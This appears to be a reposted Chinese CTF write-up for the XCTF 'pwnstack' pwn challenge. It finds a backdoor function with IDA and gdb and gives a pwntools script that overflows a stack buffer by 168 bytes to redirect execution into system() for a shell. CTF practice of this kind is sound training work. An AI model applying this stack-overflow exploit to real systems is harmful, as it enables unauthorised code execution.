0


攻防世界pwn难度1

1.pwnstack

首先用IDA进行静态分析

可以看到有一个输入函数

后门函数,直接执行system()

记下函数地址

0x400762

gdb动态分析

走到read函数的位置输入后查看栈

b8 - 10 = 168

需要输入168个字节,再用backdoor的地址覆盖main+34的返回地址即可

编写脚本

from pwn import *
context(log_level='debug',arch='i386', os='linux')
io = remote('地址', 端口)

padding = 168  
pause()

return_addr = 0x400762
payload = b'a'* padding + p64(return_addr)
delimiter = 'that??'
io.sendlineafter(delimiter, payload)
io.interactive()

最后 cat flag

标签: 安全 linux

本文转载自: https://blog.csdn.net/weixin_63282980/article/details/127702165
版权归原作者 Xander071 所有, 如有侵权,请联系我们删除。

“攻防世界pwn难度1”的评论:

还没有评论